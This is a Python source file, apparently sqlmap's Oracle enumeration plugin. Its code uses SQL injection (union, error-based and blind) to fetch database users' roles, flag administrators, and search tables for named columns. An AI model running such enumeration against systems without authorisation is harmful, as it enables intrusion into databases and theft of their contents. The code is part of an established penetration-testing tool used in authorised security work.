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286 lines
10 KiB
Python
286 lines
10 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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from lib.core.agent import agent
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from lib.core.common import Backend
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from lib.core.common import getRange
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from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import EXPECTED
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from lib.core.enums import PAYLOAD
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from lib.core.exception import sqlmapNoneDataException
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from lib.request import inject
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from plugins.generic.enumeration import Enumeration as GenericEnumeration
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class Enumeration(GenericEnumeration):
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def __init__(self):
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GenericEnumeration.__init__(self)
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def getRoles(self, query2=False):
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infoMsg = "fetching database users roles"
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rootQuery = queries[Backend.getIdentifiedDbms()].roles
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if conf.user == "CU":
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infoMsg += " for current user"
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conf.user = self.getCurrentUser()
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logger.info(infoMsg)
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# Set containing the list of DBMS administrators
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areAdmins = set()
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if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
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if query2:
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query = rootQuery.inband.query2
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condition = rootQuery.inband.condition2
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else:
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query = rootQuery.inband.query
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condition = rootQuery.inband.condition
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if conf.user:
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users = conf.user.split(",")
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query += " WHERE "
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query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
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values = inject.getValue(query, blind=False)
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if not values and not query2:
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infoMsg = "trying with table USER_ROLE_PRIVS"
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logger.info(infoMsg)
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return self.getRoles(query2=True)
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if values:
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for value in values:
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user = None
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roles = set()
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for count in xrange(0, len(value)):
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# The first column is always the username
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if count == 0:
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user = value[count]
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# The other columns are the roles
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else:
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role = value[count]
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# In Oracle we get the list of roles as string
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roles.add(role)
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if self.__isAdminFromPrivileges(roles):
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areAdmins.add(user)
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if kb.data.cachedUsersRoles.has_key(user):
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kb.data.cachedUsersRoles[user].extend(roles)
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else:
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kb.data.cachedUsersRoles[user] = list(roles)
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if not kb.data.cachedUsersRoles and not conf.direct:
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conditionChar = "="
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if conf.user:
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users = conf.user.split(",")
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else:
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if not len(kb.data.cachedUsers):
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users = self.getUsers()
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else:
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users = kb.data.cachedUsers
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retrievedUsers = set()
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for user in users:
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unescapedUser = None
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if user in retrievedUsers:
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continue
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infoMsg = "fetching number of roles "
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infoMsg += "for user '%s'" % user
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logger.info(infoMsg)
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if unescapedUser:
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queryUser = unescapedUser
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else:
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queryUser = user
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if query2:
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query = rootQuery.blind.count2 % queryUser
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else:
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query = rootQuery.blind.count % queryUser
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count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
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if not isNumPosStrValue(count):
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if not count.isdigit() and not query2:
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infoMsg = "trying with table USER_SYS_PRIVS"
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logger.info(infoMsg)
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return self.getPrivileges(query2=True)
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warnMsg = "unable to retrieve the number of "
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warnMsg += "roles for user '%s'" % user
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logger.warn(warnMsg)
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continue
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infoMsg = "fetching roles for user '%s'" % user
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logger.info(infoMsg)
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roles = set()
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indexRange = getRange(count, plusOne=True)
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for index in indexRange:
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if query2:
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query = rootQuery.blind.query2 % (queryUser, index)
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else:
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query = rootQuery.blind.query % (queryUser, index)
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role = inject.getValue(query, inband=False, error=False)
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# In Oracle we get the list of roles as string
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roles.add(role)
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if roles:
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kb.data.cachedUsersRoles[user] = list(roles)
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else:
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warnMsg = "unable to retrieve the roles "
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warnMsg += "for user '%s'" % user
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logger.warn(warnMsg)
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retrievedUsers.add(user)
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if not kb.data.cachedUsersRoles:
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errMsg = "unable to retrieve the roles "
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errMsg += "for the database users"
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raise sqlmapNoneDataException, errMsg
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return ( kb.data.cachedUsersRoles, areAdmins )
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def searchDb(self):
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warnMsg = "on Oracle it is not possible to search databases"
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logger.warn(warnMsg)
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return []
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def searchColumn(self):
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rootQuery = queries[Backend.getIdentifiedDbms()].search_column
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foundCols = {}
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dbs = { "USERS": {} }
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colList = conf.col.split(",")
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colCond = rootQuery.inband.condition
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colConsider, colCondParam = self.likeOrExact("column")
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for column in colList:
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column = self.__safeSQLIdentificatorNaming(column)
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infoMsg = "searching column"
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if colConsider == "1":
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infoMsg += "s like"
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infoMsg += " '%s'" % self.__unsafeSQLIdentificatorNaming(column)
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logger.info(infoMsg)
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foundCols[column] = {}
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colQuery = "%s%s" % (colCond, colCondParam)
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colQuery = colQuery % self.__unsafeSQLIdentificatorNaming(column)
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for db in dbs.keys():
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db = self.__safeSQLIdentificatorNaming(db)
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if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
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query = rootQuery.inband.query
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query += colQuery
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values = inject.getValue(query, blind=False)
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if values:
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if isinstance(values, basestring):
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values = [ values ]
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for foundTbl in values:
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foundTbl = self.__safeSQLIdentificatorNaming(foundTbl, True)
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if foundTbl is None:
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continue
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if foundTbl not in dbs[db]:
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dbs[db][foundTbl] = {}
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if colConsider == "1":
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conf.db = db
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conf.tbl = foundTbl
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conf.col = column
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self.getColumns(onlyColNames=True)
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dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
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kb.data.cachedColumns = {}
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else:
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dbs[db][foundTbl][column] = None
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if db in foundCols[column]:
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foundCols[column][db].append(foundTbl)
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else:
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foundCols[column][db] = [ foundTbl ]
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else:
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foundCols[column][db] = []
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infoMsg = "fetching number of tables containing column"
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if colConsider == "1":
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infoMsg += "s like"
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infoMsg += " '%s' in database '%s'" % (column, db)
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logger.info(infoMsg)
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query = rootQuery.blind.count2
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query += " WHERE %s" % colQuery
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count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
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if not isNumPosStrValue(count):
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warnMsg = "no tables contain column"
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if colConsider == "1":
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warnMsg += "s like"
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warnMsg += " '%s' " % column
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warnMsg += "in database '%s'" % db
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logger.warn(warnMsg)
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continue
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indexRange = getRange(count)
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for index in indexRange:
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query = rootQuery.blind.query2
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query += " WHERE %s" % colQuery
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query = agent.limitQuery(index, query)
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tbl = inject.getValue(query, inband=False, error=False)
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kb.hintValue = tbl
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tbl = self.__safeSQLIdentificatorNaming(tbl, True)
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if tbl not in dbs[db]:
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dbs[db][tbl] = {}
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if colConsider == "1":
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conf.db = db
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conf.tbl = tbl
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conf.col = column
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self.getColumns(onlyColNames=True)
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dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
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kb.data.cachedColumns = {}
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else:
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dbs[db][tbl][column] = None
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foundCols[column][db].append(tbl)
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self.dumpFoundColumn(dbs, foundCols, colConsider)
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